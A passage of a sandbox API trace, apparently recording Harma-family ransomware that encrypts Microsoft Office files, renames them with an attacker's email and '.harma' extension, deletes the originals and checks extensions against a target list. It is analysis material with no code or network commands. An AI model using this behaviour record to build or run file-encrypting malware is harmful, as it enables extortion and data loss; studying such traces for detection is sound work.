SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.880] SetEndOfFile (hFile=0x3a0) returned 1 [0164.883] CloseHandle (hObject=0x3a0) returned 1 [0164.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd")) returned 1 [0164.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.884] lstrlenW (lpString=".doc") returned 4 [0164.884] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0164.884] lstrlenW (lpString=".docx") returned 5 [0164.884] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0164.884] lstrlenW (lpString=".pdf") returned 4 [0164.884] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0164.884] lstrlenW (lpString=".xls") returned 4 [0164.884] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0164.884] lstrlenW (lpString=".xlsx") returned 5 [0164.884] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0164.884] lstrlenW (lpString=".ppt") returned 4 [0164.884] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0164.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.884] lstrlenW (lpString=".zip") returned 4 [0164.884] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0164.884] lstrlenW (lpString=".rar") returned 4 [0164.885] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString=".bz2") returned 4 [0164.885] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString=".7z") returned 3 [0164.885] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0164.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.885] lstrlenW (lpString=".dbf") returned 4 [0164.885] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.885] lstrlenW (lpString=".1cd") returned 4 [0164.885] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.885] lstrlenW (lpString=".jpg") returned 4 [0164.885] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.885] lstrlenW (lpString=".doc") returned 4 [0164.885] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString=".docx") returned 5 [0164.885] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0164.885] lstrlenW (lpString=".pdf") returned 4 [0164.885] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0164.885] lstrlenW (lpString=".xls") returned 4 [0164.885] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0164.885] lstrlenW (lpString=".xlsx") returned 5 [0164.885] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0164.885] lstrlenW (lpString=".ppt") returned 4 [0164.885] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0164.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.886] lstrlenW (lpString=".zip") returned 4 [0164.886] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0164.886] lstrlenW (lpString=".rar") returned 4 [0164.886] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0164.886] lstrlenW (lpString=".bz2") returned 4 [0164.886] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0164.886] lstrlenW (lpString=".7z") returned 3 [0164.886] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0164.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.886] lstrlenW (lpString=".dbf") returned 4 [0164.886] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0164.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.886] lstrlenW (lpString=".1cd") returned 4 [0164.886] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0164.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD") returned 60 [0164.886] lstrlenW (lpString=".jpg") returned 4 [0164.886] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0164.886] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0164.886] lstrlenW (lpString="WINPROJ.DEV.HXS") returned 15 [0164.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.888] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=4932186) returned 1 [0164.888] CloseHandle (hObject=0x3a0) returned 1 [0164.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0x20 [0164.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0164.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.888] lstrlenW (lpString=".doc") returned 4 [0164.888] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.888] lstrlenW (lpString=".docx") returned 5 [0164.888] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0164.888] lstrlenW (lpString=".pdf") returned 4 [0164.888] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString=".xls") returned 4 [0164.889] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString=".xlsx") returned 5 [0164.889] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0164.889] lstrlenW (lpString=".ppt") returned 4 [0164.889] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString=".zip") returned 4 [0164.889] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString=".rar") returned 4 [0164.889] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString=".bz2") returned 4 [0164.889] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.889] lstrlenW (lpString=".7z") returned 3 [0164.889] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString=".dbf") returned 4 [0164.889] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString=".1cd") returned 4 [0164.889] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString=".jpg") returned 4 [0164.889] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.889] lstrlenW (lpString=".doc") returned 4 [0164.889] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.890] lstrlenW (lpString=".docx") returned 5 [0164.890] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0164.890] lstrlenW (lpString=".pdf") returned 4 [0164.890] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.890] lstrlenW (lpString=".xls") returned 4 [0164.890] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.890] lstrlenW (lpString=".xlsx") returned 5 [0164.890] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0164.890] lstrlenW (lpString=".ppt") returned 4 [0164.890] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.890] lstrlenW (lpString=".zip") returned 4 [0164.890] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.890] lstrlenW (lpString=".rar") returned 4 [0164.890] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.890] lstrlenW (lpString=".bz2") returned 4 [0164.890] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.890] lstrlenW (lpString=".7z") returned 3 [0164.890] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.890] lstrlenW (lpString=".dbf") returned 4 [0164.890] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.890] lstrlenW (lpString=".1cd") returned 4 [0164.890] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0164.890] lstrlenW (lpString=".jpg") returned 4 [0164.890] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.891] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0164.891] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0164.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.891] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=651) returned 1 [0164.891] CloseHandle (hObject=0x3a0) returned 1 [0164.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 0x20 [0164.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.892] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.892] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.893] GetLastError () returned 0x0 [0164.893] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x28b, lpOverlapped=0x0) returned 1 [0165.044] WriteFile (in: hFile=0x374, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x290, lpOverlapped=0x0) returned 1 [0165.045] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.045] WriteFile (in: hFile=0x374, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0165.045] SetEndOfFile (hFile=0x374) returned 1 [0165.045] CloseHandle (hObject=0x374) returned 1 [0165.045] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.045] SetEndOfFile (hFile=0x3a0) returned 1 [0165.047] CloseHandle (hObject=0x3a0) returned 1 [0165.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 1 [0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.049] lstrlenW (lpString=".doc") returned 4 [0165.049] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.049] lstrlenW (lpString=".docx") returned 5 [0165.049] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.049] lstrlenW (lpString=".pdf") returned 4 [0165.049] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.049] lstrlenW (lpString=".xls") returned 4 [0165.049] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.049] lstrlenW (lpString=".xlsx") returned 5 [0165.049] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.049] lstrlenW (lpString=".ppt") returned 4 [0165.049] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.049] lstrlenW (lpString=".zip") returned 4 [0165.049] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.049] lstrlenW (lpString=".rar") returned 4 [0165.049] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.049] lstrlenW (lpString=".bz2") returned 4 [0165.050] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.050] lstrlenW (lpString=".7z") returned 3 [0165.050] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString=".dbf") returned 4 [0165.050] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString=".1cd") returned 4 [0165.050] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString=".jpg") returned 4 [0165.050] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString=".doc") returned 4 [0165.050] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.050] lstrlenW (lpString=".docx") returned 5 [0165.050] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.050] lstrlenW (lpString=".pdf") returned 4 [0165.050] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.050] lstrlenW (lpString=".xls") returned 4 [0165.050] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.050] lstrlenW (lpString=".xlsx") returned 5 [0165.050] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.050] lstrlenW (lpString=".ppt") returned 4 [0165.050] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.050] lstrlenW (lpString=".zip") returned 4 [0165.050] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.050] lstrlenW (lpString=".rar") returned 4 [0165.050] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.051] lstrlenW (lpString=".bz2") returned 4 [0165.051] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.051] lstrlenW (lpString=".7z") returned 3 [0165.051] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.051] lstrlenW (lpString=".dbf") returned 4 [0165.051] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.051] lstrlenW (lpString=".1cd") returned 4 [0165.051] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0165.051] lstrlenW (lpString=".jpg") returned 4 [0165.051] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.051] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0165.051] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0165.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.165] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=207) returned 1 [0165.165] CloseHandle (hObject=0x208) returned 1 [0165.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 0x20 [0165.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.165] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.165] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.167] GetLastError () returned 0x0 [0165.167] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0xcf, lpOverlapped=0x0) returned 1 [0165.168] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xd0, lpOverlapped=0x0) returned 1 [0165.169] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.170] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0165.170] SetEndOfFile (hFile=0x370) returned 1 [0165.170] CloseHandle (hObject=0x370) returned 1 [0165.170] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.170] SetEndOfFile (hFile=0x208) returned 1 [0165.174] CloseHandle (hObject=0x208) returned 1 [0165.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 1 [0165.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.179] lstrlenW (lpString=".doc") returned 4 [0165.179] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.179] lstrlenW (lpString=".docx") returned 5 [0165.179] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.179] lstrlenW (lpString=".pdf") returned 4 [0165.179] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.179] lstrlenW (lpString=".xls") returned 4 [0165.179] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.179] lstrlenW (lpString=".xlsx") returned 5 [0165.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.179] lstrlenW (lpString=".ppt") returned 4 [0165.179] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.179] lstrlenW (lpString=".zip") returned 4 [0165.179] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.179] lstrlenW (lpString=".rar") returned 4 [0165.179] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.180] lstrlenW (lpString=".bz2") returned 4 [0165.180] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.180] lstrlenW (lpString=".7z") returned 3 [0165.180] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0165.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.180] lstrlenW (lpString=".dbf") returned 4 [0165.180] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.180] lstrlenW (lpString=".1cd") returned 4 [0165.180] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.180] lstrlenW (lpString=".jpg") returned 4 [0165.180] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0165.180] lstrlenW (lpString=".doc") returned 4 [0165.180] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.180] lstrlenW (lpString=".docx") returned 5 [0165.181] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.181] lstrlenW (lpString=".pdf") returned 4 [0165.181] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.181] 